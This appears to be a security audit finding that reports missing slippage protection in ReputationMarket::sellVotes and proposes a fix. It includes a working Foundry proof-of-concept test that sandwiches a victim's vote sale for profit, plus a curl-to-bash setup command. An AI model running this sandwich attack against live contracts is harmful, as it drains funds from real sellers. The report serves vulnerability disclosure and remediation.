Skip to content

Latest commit

 

History

History
238 lines (190 loc) · 11.5 KB

File metadata and controls

238 lines (190 loc) · 11.5 KB

Bouncy Coffee Falcon

High

Malicious participant in ReputationMarket will sandwich attack vote sellers, causing loss of ReputationMarket::fundsReceived to vote sellers

Summary

Lack of slippage protection in ReputationMarket::sellVotes(ReputationMarket.sol#L495-534) will cause loss of funds received by vote sellers (ReputationMarket::fundsReceived). Malicious participant (attacker) will sandwich attack the victim's ReputationMarket::sellVotes by calling ReputationMarket::sellVotes before (frontrun) and ReputationMarket::buyVotes after (backrun) the victim's transaction. This attack will work regardless if it is a TRUST vote or a DISTRUST vote.

Root Cause

Lack of slippage protection in ReputationMarket::sellVotes(ReputationMarket.sol#L495-534)

Internal pre-conditions

  1. Market must be created and active. There are many ways to do this, but for this example,
    1.1 admin needs to call ReputationMarket::setUserAllowedToCreateMarket to set creationAllowedProfileIds for marketOwnerProfileId to be true.
    1.2 marketOwner needs to call ReputationMarket::createMarketWithConfig with a valid marketConfigs index and a msg.value greater than the minimum initialLiquidity required.
  2. Attacker needs to have votes in market, i.e. attacker calls ReputationMarket::buyVotes to buy votes before attack
  3. Victim needs to have votes in the same market, i.e. victim calls ReputationMarket::buyVotes to buy votes

External pre-conditions

None

Attack Path

  1. Attacker frontrun victim's ReputationMarket::sellVotes with attacker's own ReputationMarket::sellVotes to drop the votePrice
  2. Victim's ReputationMarket::sellVotes executes at a low price, causing loss of ReputationMarket::fundsReceived sent to victim
  3. Attacker backrun victim's ReputationMarket::sellVotes with ReputationMarket::buyVotes to make a profit

Impact

Impact: High. The victim suffers a loss of funds due to sellVotes executing at a lower price. The attacker gains this same amount as a profit (assuming no fees) from the sandwich attack.
Likelihood: High. An attacker will always be able to sandwich attack the victim's sellVotes and are incentivized to do so for financial gain.
Severity: High

PoC

The below PoC is written in foundry. To set up the environment, run the following code in the ethos/packages/contracts directory (ref).

  1. Install foundry

    curl -L https://foundry.paradigm.xyz | bash

  2. Install the @nomicfoundation/hardhat-foundry plugin

    npm install --save-dev @nomicfoundation/hardhat-foundry

  3. Import the plugin into hardhat.config.cts

    import "@nomicfoundation/hardhat-foundry";

  4. Initialize foundry configuration file (foundry.toml) and install forge-std using the below

    npx hardhat init-foundry

  5. Install libraries and dependencies required

    forge install openzeppelin/openzeppelin-contracts --no-commit forge install openzeppelin/openzeppelin-contracts-upgradeable --no-commit


Place the following PoC into test/ReputationMarket.t.sol and run the following

forge test --mt testSandwichAttack --via-ir

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {ReputationMarket} from "contracts/ReputationMarket.sol";
import {ERC1967Proxy} from "lib/openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IEthosProfile} from "contracts/interfaces/IEthosProfile.sol";

contract ReputationMarketTest is Test {
    address ethosDeployer = makeAddr("ethosDeployer");
    address protocolFeeAddress = makeAddr("protocolFeeAddress");
    
    address marketOwner = makeAddr("marketOwner");
    uint256 marketOwnerProfileId = 69_420;
    address victim = makeAddr("victim");
    uint256 VICTIM_INITIAL_BALANCE = 1 ether;
    address attacker = makeAddr("mAlice");
    uint256 ATTACKER_INITIAL_BALANCE = 11 ether;

    bool TRUST = true;
    bool DISTRUST = false;

    address owner = makeAddr("owner");
    address admin = makeAddr("admin");
    address expectedSigner = makeAddr("expectedSigner");
    address signatureVerifier = makeAddr("signatureVerifier");
    address contractAddressManagerAddr;

    ReputationMarket reputationMarket;

    function setUp() public {
        // Deploy mock contracts 
        // (contractAddressManager & EthosProfile)
        MockEthosProfile mockEthosProfile = new MockEthosProfile();
        contractAddressManagerAddr = address(new MockContractAddressManager(address(mockEthosProfile)));

        // Deploy reputation market logic and proxy, initialize reputation market
        vm.startPrank(ethosDeployer);
        ReputationMarket reputationMarketLogic = new ReputationMarket();
        ERC1967Proxy reputationMarketProxy = new ERC1967Proxy(address(reputationMarketLogic), "");
        reputationMarket = ReputationMarket(address(reputationMarketProxy));
        reputationMarket.initialize(
            owner,
            admin,
            expectedSigner,
            signatureVerifier,
            contractAddressManagerAddr
        );
        vm.stopPrank();

        // Condition 1: Market must be created and active
        // (1.1) admin has to allow marketOwner to create market
        vm.prank(admin);
        reputationMarket.setUserAllowedToCreateMarket(marketOwnerProfileId , true);
        // (1.2) marketOwner creates market (Premium tier for demonstration)
        uint256 initialLiquidity = 1 ether; // 100*DEFAULT_PRICE for marketConfigs(2) Premium tier;
        vm.deal(marketOwner, initialLiquidity);
        vm.prank(marketOwner);
        reputationMarket.createMarketWithConfig{value: initialLiquidity}(2);

        // Condition 2 : Attacker needs to have votes in market
        vm.deal(attacker, ATTACKER_INITIAL_BALANCE);
        vm.startPrank(attacker);
        uint256 expectedVotesAttacker = 2000; // 11 ETH = 2097 votes
        uint256 slippageBasisPointsAttacker = 10_000;
        reputationMarket.buyVotes{value: attacker.balance}(marketOwnerProfileId, TRUST, expectedVotesAttacker, slippageBasisPointsAttacker);
        vm.stopPrank();
        
        // Condition 3: Victim needs to have votes in market
        vm.deal(victim, VICTIM_INITIAL_BALANCE);
        vm.startPrank(victim);
        uint256 expectedVotesVictim = 0; // 1 ETH = 182 votes
        uint256 slippageBasisPointsVictim = 10_000;
        reputationMarket.buyVotes{value: victim.balance}(marketOwnerProfileId, TRUST, expectedVotesVictim, slippageBasisPointsVictim);
        vm.stopPrank();
    }

    function testSandwichAttack() public {
        // using TRUST votes to demonstrate attack
        // DISTRUST votes will work the same
        
        // Simulate the vote selling if no sandwich attack
        uint256 victimVotes = reputationMarket.getUserVotes(victim, marketOwnerProfileId).trustVotes;
        vm.prank(victim);
        (, uint256 fundsReceivedNoSandwich,,,uint256 minPriceNoSandwich, uint256 maxPriceNoSandwich) = reputationMarket.simulateSell(marketOwnerProfileId, TRUST, victimVotes);
        uint256 avgVotePriceNoSandwich = (minPriceNoSandwich + maxPriceNoSandwich) / 2;
        // avgVotePriceNoSandwich: 0.005492983499747185 ETH/trustVote
        // fundsReceivedNoSandwich: 0.999713710481421484 ETH

        // Step 1: Attacker frontrun victim's sellVotes with attacker's own sellVotes to drop the price
        uint256 attackerBalanceBeforeSandwich = attacker.balance;
        uint256 attackerVotes = reputationMarket.getUserVotes(attacker, marketOwnerProfileId).trustVotes;
        uint256 attackerVotesBeforeSandwich = attackerVotes;
        vm.prank(attacker);
        reputationMarket.sellVotes(marketOwnerProfileId, TRUST, attackerVotes);

        // Step 2: Victim's sellVotes executes at low price
        uint256 victimBalanceBeforeSell = victim.balance;
        vm.prank(victim);
        (,,,,uint256 minPriceWithSandwich, uint256 maxPriceWithSandwich) = reputationMarket.simulateSell(marketOwnerProfileId, TRUST, victimVotes);
        vm.prank(victim);
        reputationMarket.sellVotes(marketOwnerProfileId, TRUST, victimVotes);
        uint256 avgVotePriceWithSandwich = (minPriceWithSandwich + maxPriceWithSandwich) / 2;
        uint256 victimBalanceAfterSell = victim.balance;
        uint256 fundsReceivedWithSandwich = victimBalanceAfterSell - victimBalanceBeforeSell;
        // avgVotePriceWithSandwich: 0.005022544841938360 ETH/trustVote
        // fundsReceivedWithSandwich: 0.914093005949404548 ETH

        // Step 3: Attacker backrun victim's sellVotes with buyVotes to make a profit
        uint256 expectedVotesAttacker = 2000; // 11 ETH = 2097 votes
        uint256 slippageBasisPointsAttacker = 10_000;
        vm.prank(attacker);
        reputationMarket.buyVotes{value: ATTACKER_INITIAL_BALANCE}(marketOwnerProfileId, TRUST, expectedVotesAttacker, slippageBasisPointsAttacker);
        uint256 attackerVotesAfterSandwich = reputationMarket.getUserVotes(attacker, marketOwnerProfileId).trustVotes;
        uint256 attackerBalanceAfterSandwich = attacker.balance;

        // Assert: Victim's sellVotes executes at lower price due to sandwich attack
        assertLt(avgVotePriceWithSandwich, avgVotePriceNoSandwich);

        // Assert: Victim receives less funds from sellVotes due to sandwich attack
        assertLt(fundsReceivedWithSandwich, fundsReceivedNoSandwich);

        // Assert: Attacker profits from the sandwich attack 
        // Attacker has same number of votes after sandwich attack
        assertEq(attackerVotesAfterSandwich, attackerVotesBeforeSandwich);
        // Attacker has made profit after sandwich attack (0.085620704532016936 ETH)
        assertGt(attackerBalanceAfterSandwich, attackerBalanceBeforeSandwich);
    }
}

contract MockContractAddressManager {
    IEthosProfile ethosProfile;

    constructor (address _ethosProfile){
        ethosProfile = IEthosProfile(_ethosProfile);
    }

    function getContractAddressForName(string memory contractName) external returns (IEthosProfile) {
        return ethosProfile;
    }
}

contract MockEthosProfile {
    function verifiedProfileIdForAddress(address userAddress) external returns (uint256) {
        return 69_420;
    }
}

Mitigation

Implement slippage protection in ReputationMarket::sellVotes(ReputationMarket.sol#L495-534).

function sellVotes(
    uint256 profileId,
    bool isPositive,
    uint256 amount
+   uint256 expectedFunds
+   uint256 slippageBasisPoints
  ) public whenNotPaused activeMarket(profileId) nonReentrant {
    _checkMarketExists(profileId);

    // calculate the amount of votes to sell and the funds received
    (
      uint256 votesSold,
      uint256 fundsReceived,
      ,
      uint256 protocolFee,
      uint256 minVotePrice,
      uint256 maxVotePrice
    ) = _calculateSell(markets[profileId], profileId, isPositive, amount);

+   _checkSlippageLimit(fundsReceived, expectedFunds, slippageBasisPoints);

    // update the market state
    markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold;
    votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold;